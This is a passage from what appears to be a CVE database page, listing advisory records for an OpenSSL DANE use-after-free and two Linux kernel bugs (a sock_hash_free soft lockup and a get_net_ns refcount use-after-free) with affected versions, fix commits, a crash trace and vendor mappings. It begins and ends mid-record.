          "url": "https://github.com/openssl/openssl/commit/444958deaf450aea819171f97ae69eaedede42c3"
        },
        {
          "name": "3.4.5 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/07e727d304746edb49a98ee8f6ab00256e1f012b"
        },
        {
          "name": "3.3.7 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/7a4e08cee62a728d32e60b0de89e6764339df0a7"
        },
        {
          "name": "3.0.20 git commit",
          "tags": [
            "patch"
          ],
          "url": "https://github.com/openssl/openssl/commit/ec03fa050b3346997ed9c5fef3d0e16ad7db8177"
        }
      ],
      "source": {
        "discovery": "UNKNOWN"
      },
      "title": "Potential Use-after-free in DANE Client Code",
      "x_generator": {
        "engine": "Vulnogram 0.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "3a12439a-ef3a-4c79-92e6-6081a721f1e5",
    "assignerShortName": "openssl",
    "cveId": "CVE-2026-28387",
    "datePublished": "2026-04-07T22:00:51.496Z",
    "dateReserved": "2026-02-27T13:45:02.161Z",
    "dateUpdated": "2026-05-12T12:08:58.724Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-47710 (GCVE-0-2024-47710)

Vulnerability from cvelistv5 – Published: 2024-10-21 11:53 – Updated: 2026-05-12 11:58

Title

sock_map: Add a cond_resched() in sock_hash_free()

Summary

In the Linux kernel, the following vulnerability has been resolved: sock_map: Add a cond_resched() in sock_hash_free() Several syzbot soft lockup reports all have in common sock_hash_free() If a map with a large number of buckets is destroyed, we need to yield the cpu when needed.

Severity ?

No CVSS data available.

Assigner

Linux

References

8 references

URL	Tags
https://git.kernel.org/stable/c/bc05f6855642cff3c…
https://git.kernel.org/stable/c/1a11a1a53255ddab8…
https://git.kernel.org/stable/c/984648aac87a6a1c8…
https://git.kernel.org/stable/c/04f62c012e0e4683e…
https://git.kernel.org/stable/c/80bd490ac0a3b662a…
https://git.kernel.org/stable/c/ae8c1b3e7353ad240…
https://git.kernel.org/stable/c/cd10abf41bae55c9d…
https://git.kernel.org/stable/c/b1339be951ad31947…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 5bed77b0a2a0e6b6bc0ae8e851cafb38ef0374df , < bc05f6855642cff3c0eeb63060b35d8c4f8a851d (git) Affected: 75e68e5bf2c7fa9d3e874099139df03d5952a3e1 , < 1a11a1a53255ddab8a903cdae01b9d3eb2c1a47b (git) Affected: 75e68e5bf2c7fa9d3e874099139df03d5952a3e1 , < 984648aac87a6a1c8fd61663bec3f7b61eafad5e (git) Affected: 75e68e5bf2c7fa9d3e874099139df03d5952a3e1 , < 04f62c012e0e4683e572b30baf6004ca0a3f6772 (git) Affected: 75e68e5bf2c7fa9d3e874099139df03d5952a3e1 , < 80bd490ac0a3b662a489e17d8eedeb1e905a3d40 (git) Affected: 75e68e5bf2c7fa9d3e874099139df03d5952a3e1 , < ae8c1b3e7353ad240b829eabac7ba2584b2c6bdc (git) Affected: 75e68e5bf2c7fa9d3e874099139df03d5952a3e1 , < cd10abf41bae55c9d2b93f34a516dbf52626bcb7 (git) Affected: 75e68e5bf2c7fa9d3e874099139df03d5952a3e1 , < b1339be951ad31947ae19bc25cb08769bf255100 (git) Affected: 6fc372656a1ebed8c1ebe0011881058c02eeddc0 (git)
Linux	Linux	Affected: 5.8 Unaffected: 0 , < 5.8 (semver) Unaffected: 5.4.285 , ≤ 5.4.* (semver) Unaffected: 5.10.227 , ≤ 5.10.* (semver) Unaffected: 5.15.168 , ≤ 5.15.* (semver) Unaffected: 6.1.113 , ≤ 6.1.* (semver) Unaffected: 6.6.54 , ≤ 6.6.* (semver) Unaffected: 6.10.13 , ≤ 6.10.* (semver) Unaffected: 6.11.2 , ≤ 6.11.* (semver) Unaffected: 6.12 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-47710",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-10-21T13:03:22.525296Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-10-21T13:04:19.097Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T22:21:14.773Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/03/msg00002.html"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.2",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:58:37.892Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/core/sock_map.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "bc05f6855642cff3c0eeb63060b35d8c4f8a851d",
              "status": "affected",
              "version": "5bed77b0a2a0e6b6bc0ae8e851cafb38ef0374df",
              "versionType": "git"
            },
            {
              "lessThan": "1a11a1a53255ddab8a903cdae01b9d3eb2c1a47b",
              "status": "affected",
              "version": "75e68e5bf2c7fa9d3e874099139df03d5952a3e1",
              "versionType": "git"
            },
            {
              "lessThan": "984648aac87a6a1c8fd61663bec3f7b61eafad5e",
              "status": "affected",
              "version": "75e68e5bf2c7fa9d3e874099139df03d5952a3e1",
              "versionType": "git"
            },
            {
              "lessThan": "04f62c012e0e4683e572b30baf6004ca0a3f6772",
              "status": "affected",
              "version": "75e68e5bf2c7fa9d3e874099139df03d5952a3e1",
              "versionType": "git"
            },
            {
              "lessThan": "80bd490ac0a3b662a489e17d8eedeb1e905a3d40",
              "status": "affected",
              "version": "75e68e5bf2c7fa9d3e874099139df03d5952a3e1",
              "versionType": "git"
            },
            {
              "lessThan": "ae8c1b3e7353ad240b829eabac7ba2584b2c6bdc",
              "status": "affected",
              "version": "75e68e5bf2c7fa9d3e874099139df03d5952a3e1",
              "versionType": "git"
            },
            {
              "lessThan": "cd10abf41bae55c9d2b93f34a516dbf52626bcb7",
              "status": "affected",
              "version": "75e68e5bf2c7fa9d3e874099139df03d5952a3e1",
              "versionType": "git"
            },
            {
              "lessThan": "b1339be951ad31947ae19bc25cb08769bf255100",
              "status": "affected",
              "version": "75e68e5bf2c7fa9d3e874099139df03d5952a3e1",
              "versionType": "git"
            },
            {
              "status": "affected",
              "version": "6fc372656a1ebed8c1ebe0011881058c02eeddc0",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/core/sock_map.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.8"
            },
            {
              "lessThan": "5.8",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.285",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.227",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.168",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.113",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.54",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.10.*",
              "status": "unaffected",
              "version": "6.10.13",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.11.*",
              "status": "unaffected",
              "version": "6.11.2",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.12",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.285",
                  "versionStartIncluding": "5.4.49",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.227",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.168",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.113",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.54",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10.13",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.11.2",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.12",
                  "versionStartIncluding": "5.8",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionStartIncluding": "5.7.6",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nsock_map: Add a cond_resched() in sock_hash_free()\n\nSeveral syzbot soft lockup reports all have in common sock_hash_free()\n\nIf a map with a large number of buckets is destroyed, we need to yield\nthe cpu when needed."
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-05-11T20:39:17.276Z",
        "orgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
        "shortName": "Linux"
      },
      "references": [
        {
          "url": "https://git.kernel.org/stable/c/bc05f6855642cff3c0eeb63060b35d8c4f8a851d"
        },
        {
          "url": "https://git.kernel.org/stable/c/1a11a1a53255ddab8a903cdae01b9d3eb2c1a47b"
        },
        {
          "url": "https://git.kernel.org/stable/c/984648aac87a6a1c8fd61663bec3f7b61eafad5e"
        },
        {
          "url": "https://git.kernel.org/stable/c/04f62c012e0e4683e572b30baf6004ca0a3f6772"
        },
        {
          "url": "https://git.kernel.org/stable/c/80bd490ac0a3b662a489e17d8eedeb1e905a3d40"
        },
        {
          "url": "https://git.kernel.org/stable/c/ae8c1b3e7353ad240b829eabac7ba2584b2c6bdc"
        },
        {
          "url": "https://git.kernel.org/stable/c/cd10abf41bae55c9d2b93f34a516dbf52626bcb7"
        },
        {
          "url": "https://git.kernel.org/stable/c/b1339be951ad31947ae19bc25cb08769bf255100"
        }
      ],
      "title": "sock_map: Add a cond_resched() in sock_hash_free()",
      "x_generator": {
        "engine": "bippy-1.2.0"
      }
    }
  },
  "cveMetadata": {
    "assignerOrgId": "416baaa9-dc9f-4396-8d5f-8c081fb06d67",
    "assignerShortName": "Linux",
    "cveId": "CVE-2024-47710",
    "datePublished": "2024-10-21T11:53:43.420Z",
    "dateReserved": "2024-09-30T16:00:12.947Z",
    "dateUpdated": "2026-05-12T11:58:37.892Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

CVE-2024-40958 (GCVE-0-2024-40958)

Vulnerability from cvelistv5 – Published: 2024-07-12 12:32 – Updated: 2026-05-12 11:55

Title

netns: Make get_net_ns() handle zero refcount net

Summary

In the Linux kernel, the following vulnerability has been resolved: netns: Make get_net_ns() handle zero refcount net Syzkaller hit a warning: refcount_t: addition on 0; use-after-free. WARNING: CPU: 3 PID: 7890 at lib/refcount.c:25 refcount_warn_saturate+0xdf/0x1d0 Modules linked in: CPU: 3 PID: 7890 Comm: tun Not tainted 6.10.0-rc3-00100-gcaa4f9578aba-dirty #310 Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014 RIP: 0010:refcount_warn_saturate+0xdf/0x1d0 Code: 41 49 04 31 ff 89 de e8 9f 1e cd fe 84 db 75 9c e8 76 26 cd fe c6 05 b6 41 49 04 01 90 48 c7 c7 b8 8e 25 86 e8 d2 05 b5 fe 90 <0f> 0b 90 90 e9 79 ff ff ff e8 53 26 cd fe 0f b6 1 RSP: 0018:ffff8881067b7da0 EFLAGS: 00010286 RAX: 0000000000000000 RBX: 0000000000000000 RCX: ffffffff811c72ac RDX: ffff8881026a2140 RSI: ffffffff811c72b5 RDI: 0000000000000001 RBP: ffff8881067b7db0 R08: 0000000000000000 R09: 205b5d3730353139 R10: 0000000000000000 R11: 205d303938375420 R12: ffff8881086500c4 R13: ffff8881086500c4 R14: ffff8881086500b0 R15: ffff888108650040 FS: 00007f5b2961a4c0(0000) GS:ffff88823bd00000(0000) knlGS:0000000000000000 CS: 0010 DS: 0000 ES: 0000 CR0: 0000000080050033 CR2: 000055d7ed36fd18 CR3: 00000001482f6000 CR4: 00000000000006f0 DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000 DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400 Call Trace: <TASK> ? show_regs+0xa3/0xc0 ? __warn+0xa5/0x1c0 ? refcount_warn_saturate+0xdf/0x1d0 ? report_bug+0x1fc/0x2d0 ? refcount_warn_saturate+0xdf/0x1d0 ? handle_bug+0xa1/0x110 ? exc_invalid_op+0x3c/0xb0 ? asm_exc_invalid_op+0x1f/0x30 ? __warn_printk+0xcc/0x140 ? __warn_printk+0xd5/0x140 ? refcount_warn_saturate+0xdf/0x1d0 get_net_ns+0xa4/0xc0 ? __pfx_get_net_ns+0x10/0x10 open_related_ns+0x5a/0x130 __tun_chr_ioctl+0x1616/0x2370 ? __sanitizer_cov_trace_switch+0x58/0xa0 ? __sanitizer_cov_trace_const_cmp2+0x1c/0x30 ? __pfx_tun_chr_ioctl+0x10/0x10 tun_chr_ioctl+0x2f/0x40 __x64_sys_ioctl+0x11b/0x160 x64_sys_call+0x1211/0x20d0 do_syscall_64+0x9e/0x1d0 entry_SYSCALL_64_after_hwframe+0x77/0x7f RIP: 0033:0x7f5b28f165d7 Code: b3 66 90 48 8b 05 b1 48 2d 00 64 c7 00 26 00 00 00 48 c7 c0 ff ff ff ff c3 66 2e 0f 1f 84 00 00 00 00 00 b8 10 00 00 00 0f 05 <48> 3d 01 f0 ff ff 73 01 c3 48 8b 0d 81 48 2d 00 8 RSP: 002b:00007ffc2b59c5e8 EFLAGS: 00000246 ORIG_RAX: 0000000000000010 RAX: ffffffffffffffda RBX: 0000000000000000 RCX: 00007f5b28f165d7 RDX: 0000000000000000 RSI: 00000000000054e3 RDI: 0000000000000003 RBP: 00007ffc2b59c650 R08: 00007f5b291ed8c0 R09: 00007f5b2961a4c0 R10: 0000000029690010 R11: 0000000000000246 R12: 0000000000400730 R13: 00007ffc2b59cf40 R14: 0000000000000000 R15: 0000000000000000 </TASK> Kernel panic - not syncing: kernel: panic_on_warn set ... This is trigger as below: ns0 ns1 tun_set_iff() //dev is tun0 tun->dev = dev //ip link set tun0 netns ns1 put_net() //ref is 0 __tun_chr_ioctl() //TUNGETDEVNETNS net = dev_net(tun->dev); open_related_ns(&net->ns, get_net_ns); //ns1 get_net_ns() get_net() //addition on 0 Use maybe_get_net() in get_net_ns in case net's ref is zero to fix this

Severity ?

No CVSS data available.

Assigner

Linux

References

7 references

URL	Tags
https://git.kernel.org/stable/c/3a6cd326ead7c8bb1…
https://git.kernel.org/stable/c/2b82028a1f5ee3a8e…
https://git.kernel.org/stable/c/cb7f811f638a14590…
https://git.kernel.org/stable/c/1b631bffcb2c09551…
https://git.kernel.org/stable/c/ef0394ca25953ea0e…
https://git.kernel.org/stable/c/3af28df0d883e8c89…
https://git.kernel.org/stable/c/ff960f9d3edbe08a7…

Impacted products

2 products

Vendor	Product	Version
Linux	Linux	Affected: 0c3e0e3bb623c3735b8c9ab8aa8332f944f83a9f , < 3a6cd326ead7c8bb1f64486789a01974a9f1ad55 (git) Affected: 0c3e0e3bb623c3735b8c9ab8aa8332f944f83a9f , < 2b82028a1f5ee3a8e04090776b10c534144ae77b (git) Affected: 0c3e0e3bb623c3735b8c9ab8aa8332f944f83a9f , < cb7f811f638a14590ff98f53c6dd1fb54627d940 (git) Affected: 0c3e0e3bb623c3735b8c9ab8aa8332f944f83a9f , < 1b631bffcb2c09551888f3c723f4365c91fe05ef (git) Affected: 0c3e0e3bb623c3735b8c9ab8aa8332f944f83a9f , < ef0394ca25953ea0eddcc82feae1f750451f1876 (git) Affected: 0c3e0e3bb623c3735b8c9ab8aa8332f944f83a9f , < 3af28df0d883e8c89a29ac31bc65f9023485743b (git) Affected: 0c3e0e3bb623c3735b8c9ab8aa8332f944f83a9f , < ff960f9d3edbe08a736b5a224d91a305ccc946b0 (git)
Linux	Linux	Affected: 5.2 Unaffected: 0 , < 5.2 (semver) Unaffected: 5.4.279 , ≤ 5.4.* (semver) Unaffected: 5.10.221 , ≤ 5.10.* (semver) Unaffected: 5.15.162 , ≤ 5.15.* (semver) Unaffected: 6.1.96 , ≤ 6.1.* (semver) Unaffected: 6.6.36 , ≤ 6.6.* (semver) Unaffected: 6.9.7 , ≤ 6.9.* (semver) Unaffected: 6.10 , ≤ * (original_commit_for_fix)

Show details on NVD website

JSON

To clipboard

{
  "containers": {
    "adp": [
      {
        "providerMetadata": {
          "dateUpdated": "2025-11-03T21:58:22.994Z",
          "orgId": "af854a3a-2127-422b-91ae-364da2661108",
          "shortName": "CVE"
        },
        "references": [
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3a6cd326ead7c8bb1f64486789a01974a9f1ad55"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/2b82028a1f5ee3a8e04090776b10c534144ae77b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/cb7f811f638a14590ff98f53c6dd1fb54627d940"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/1b631bffcb2c09551888f3c723f4365c91fe05ef"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ef0394ca25953ea0eddcc82feae1f750451f1876"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/3af28df0d883e8c89a29ac31bc65f9023485743b"
          },
          {
            "tags": [
              "x_transferred"
            ],
            "url": "https://git.kernel.org/stable/c/ff960f9d3edbe08a736b5a224d91a305ccc946b0"
          },
          {
            "url": "https://lists.debian.org/debian-lts-announce/2025/01/msg00001.html"
          }
        ],
        "title": "CVE Program Container"
      },
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2024-40958",
                "options": [
                  {
                    "Exploitation": "none"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2024-09-10T17:03:35.616951Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2024-09-11T17:34:23.921Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "title": "CISA ADP Vulnrichment"
      },
      {
        "affected": [
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "RUGGEDCOM RST2428P",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XC-300/XR-300/XC-400/XR-500WG/XR-500 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "V3.1",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SCALANCE XCM-/XRM-/XCH-/XRH-300 family",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "unaffected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          },
          {
            "defaultStatus": "unknown",
            "product": "SIMATIC S7-1500 TM MFP - GNU/Linux subsystem",
            "vendor": "Siemens",
            "versions": [
              {
                "lessThan": "*",
                "status": "affected",
                "version": "0",
                "versionType": "custom"
              }
            ]
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-05-12T11:55:48.230Z",
          "orgId": "0b142b55-0307-4c5a-b3c9-f314f3fb7c5e",
          "shortName": "siemens-SADP"
        },
        "references": [
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-265688.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-613116.html"
          },
          {
            "url": "https://cert-portal.siemens.com/productcert/html/ssa-355557.html"
          }
        ],
        "x_adpType": "supplier"
      }
    ],
    "cna": {
      "affected": [
        {
          "defaultStatus": "unaffected",
          "product": "Linux",
          "programFiles": [
            "net/core/net_namespace.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "lessThan": "3a6cd326ead7c8bb1f64486789a01974a9f1ad55",
              "status": "affected",
              "version": "0c3e0e3bb623c3735b8c9ab8aa8332f944f83a9f",
              "versionType": "git"
            },
            {
              "lessThan": "2b82028a1f5ee3a8e04090776b10c534144ae77b",
              "status": "affected",
              "version": "0c3e0e3bb623c3735b8c9ab8aa8332f944f83a9f",
              "versionType": "git"
            },
            {
              "lessThan": "cb7f811f638a14590ff98f53c6dd1fb54627d940",
              "status": "affected",
              "version": "0c3e0e3bb623c3735b8c9ab8aa8332f944f83a9f",
              "versionType": "git"
            },
            {
              "lessThan": "1b631bffcb2c09551888f3c723f4365c91fe05ef",
              "status": "affected",
              "version": "0c3e0e3bb623c3735b8c9ab8aa8332f944f83a9f",
              "versionType": "git"
            },
            {
              "lessThan": "ef0394ca25953ea0eddcc82feae1f750451f1876",
              "status": "affected",
              "version": "0c3e0e3bb623c3735b8c9ab8aa8332f944f83a9f",
              "versionType": "git"
            },
            {
              "lessThan": "3af28df0d883e8c89a29ac31bc65f9023485743b",
              "status": "affected",
              "version": "0c3e0e3bb623c3735b8c9ab8aa8332f944f83a9f",
              "versionType": "git"
            },
            {
              "lessThan": "ff960f9d3edbe08a736b5a224d91a305ccc946b0",
              "status": "affected",
              "version": "0c3e0e3bb623c3735b8c9ab8aa8332f944f83a9f",
              "versionType": "git"
            }
          ]
        },
        {
          "defaultStatus": "affected",
          "product": "Linux",
          "programFiles": [
            "net/core/net_namespace.c"
          ],
          "repo": "https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git",
          "vendor": "Linux",
          "versions": [
            {
              "status": "affected",
              "version": "5.2"
            },
            {
              "lessThan": "5.2",
              "status": "unaffected",
              "version": "0",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.4.*",
              "status": "unaffected",
              "version": "5.4.279",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.10.*",
              "status": "unaffected",
              "version": "5.10.221",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "5.15.*",
              "status": "unaffected",
              "version": "5.15.162",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.1.*",
              "status": "unaffected",
              "version": "6.1.96",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.6.*",
              "status": "unaffected",
              "version": "6.6.36",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "6.9.*",
              "status": "unaffected",
              "version": "6.9.7",
              "versionType": "semver"
            },
            {
              "lessThanOrEqual": "*",
              "status": "unaffected",
              "version": "6.10",
              "versionType": "original_commit_for_fix"
            }
          ]
        }
      ],
      "cpeApplicability": [
        {
          "nodes": [
            {
              "cpeMatch": [
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.4.279",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.10.221",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "5.15.162",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.1.96",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.6.36",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.9.7",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                },
                {
                  "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*",
                  "versionEndExcluding": "6.10",
                  "versionStartIncluding": "5.2",
                  "vulnerable": true
                }
              ],
              "negate": false,
              "operator": "OR"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetns: Make get_net_ns() handle zero refcount net\n\nSyzkaller hit a warning:\nrefcount_t: addition on 0; use-after-free.\nWARNING: CPU: 3 PID: 7890 at lib/refcount.c:25 refcount_warn_saturate+0xdf/0x1d0\nModules linked in:\nCPU: 3 PID: 7890 Comm: tun Not tainted 6.10.0-rc3-00100-gcaa4f9578aba-dirty #310\nHardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.15.0-1 04/01/2014\nRIP: 0010:refcount_warn_saturate+0xdf/0x1d0\nCode: 41 49 04 31 ff 89 de e8 9f 1e cd fe 84 db 75 9c e8 76 26 cd fe c6 05 b6 41 49 04 01 90 48 c7 c7 b8 8e 25 86 e8 d2 05 b5 fe 90 \u003c0f\u003e 0b 90 90 e9 79 ff ff ff e8 53 26 cd fe 0f b6 1\nRSP: 0018:ffff8881067b7da0 EFLAGS: 00010286\nRAX: 0000000000000000 RBX: 0000000000000000 RCX: ffffffff811c72ac\nRDX: ffff8881026a2140 RSI: ffffffff811c72b5 RDI: 0000000000000001\nRBP: ffff8881067b7db0 R08: 0000000000000000 R09: 205b5d3730353139\nR10: 0000000000000000 R11: 205d303938375420 R12: ffff8881086500c4\nR13: ffff8881086500c4 R14: ffff8881086500b0 R15: ffff888108650040\nFS:  00007f5b2961a4c0(0000) GS:ffff88823bd00000(0000) knlGS:0000000000000000\nCS:  0010 DS: 0000 ES: 0000 CR0: 